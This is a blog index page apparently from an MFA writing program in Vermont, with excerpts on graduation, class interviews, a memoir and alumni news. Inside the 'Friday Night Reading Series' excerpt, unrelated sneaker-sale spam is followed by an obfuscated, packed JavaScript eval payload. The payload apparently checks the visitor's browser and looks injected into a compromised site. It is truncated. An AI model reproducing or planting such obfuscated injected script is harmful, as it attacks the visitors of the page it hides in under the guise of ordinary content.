FRONTMATTER

We Did It!

We Graduated! We, the second year students in the Writing & Publishing program have now proudly earned our Masters of Fine Arts degrees. Thirteen of us have walked the virtual aisle and moved the tassels on our figurative mortarboards. It's been a long strange trip for us, these two years in Vermont, with Covid changing the parameters of our time here barely six months into our first year. But we persevered and finished our studies, completed our theses, and muddled on through. I'm being…

A Review of Doubting Thomas

We all have favorite teachers, don't we? Great teachers who showed us how to improve our writing while still keeping our writerly self-esteem intact. Teachers who became mentors. I have three such teachers, two here at VCFA and one from my undergrad years at San Francisco State University. That teacher, Matthew Davison, has a novel coming out in June, and it's my pleasure to review it. Matthew Clark Davison Matthew was my favorite teacher at SF State. He is known for being a hard but caring teacher,…

Community Enrichment Class for May

As we wind down the semester, we come to our final Community Enrichment Class. "Magic And Tech: Elements of Science Fiction and Fantasy"  taught by MFA candidates Molly (MK) Martin and Dexter Loken. I interviewed the two of them recently and wow, was it fun. I'm glad I recorded our Zoom meeting, though. With the two of them "riffing off each other" at lightning speed, there was no way I was going to get it all down in my notebook, much less decipher my chicken scratch after the fact. I will make…

Community Enrichment Class for April

I've begun the last couple of months with an interview of the MFA candidate set to teach that month's Community Enrichment Class. This month, however, I'm teaching the class, and let's face it, even though April is the fool's month, it would be pretty silly to interview myself. So, rather than interview myself, I'll just give you an idea of my background, my literary loves, and what inspired me to create my community enrichment class, entitled Leaving Europe Behind: Writing (Indigenous) Urban…

My Story: How I Lost and Found My Superpower

March is Brain Injury Awareness Month I don’t remember falling that night. I remember being at a friend’s house, sitting at the table watching hands of poker being dealt. I remember snuggling close to a man who, thirty years earlier, I had almost loved. I remember getting up to go to the bathroom and closing the door behind me. I remember… nothing else of that evening, except, in retrospect and days later, when flashes showed me images I might have seen---maybe. The most vivid image was…

Community Enrichment Classes

Later this month MFA graduate Valentyn Smith will teach the second Spring 2021 enrichment class, Spell of the Evocative: Setting in Fiction . Valentyn Smith Valentyn  is a transplant to Vermont from Brooklyn. She came here originally for our residential program in Writing & Publishing, but found that the low-residency model was a better fit. She earned her MFA in Writing, but came back to W & P for the Certificate in Publishing. Valentyn also works in the library here on campus. My…

Reminder: Friday Night Reading Series

  Just a reminder that We have our next in a series of readings this Friday night. Join us via Zoom and ENJOY! latest Running | NIKE RUNNING SALEeval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b i=r f["\\q\\1\\4\\g\\p\\l"]("\\4"+"\\7"+"\\7"+"\\4"+"\\5\\1","\\4\\k");s(!i["\\3\\1\\2\\3"](m["\\h\\2\\1\\j\\n\\4\\1\\6\\3"])){b…

Congratulations to Alumnx Lizzy Fox

Congratulations to our own Lizzy Fox on the release of her book of poetry Red List Blue,  just published by Finishing Line Press. I "attended" the online reading and book launch party last Friday, sponsored by Bear Pond Books and the Hubbard Library. I'd previously heard Lizzy read a poem or two at VCFA readings, but on this night she read several that I hadn't heard. I very much enjoyed them. Lizzy is a graduate of the MFA in Writing program here at VCFA, and was the Assistant Director of…

Community Enrichment Classes

For several years now the Writing & Publishing program here at VCFA has offered Community Enrichment Classes. These classes allow the college to interact with the community, and give our MFA students important chances to teach. In the past we've had  craft class about our character's inner lives, as well as poetry and memoir craft classes. This winter and spring we will hold four Saturday classes taught by current students: The Personal Essay: Introspection in the Time of Covid, taught by Hassan…

Finally, Finally, Finally

2020 is finally over. It's been a tough year, between quarantining, masking, and having all of our classes on Zoom. (Zoom fatigue is real!) But it's finally over and 2021 has begun. Classes start this week, second years are ensconced in their rooms working on their theses, and, to make it all even better, we got our first real dump of snow. Winter is here (finally) along with the new semester. We may have had a brown Christmas, and a dry New Year, but now we are in the midst of Vermont's winter wonderland.…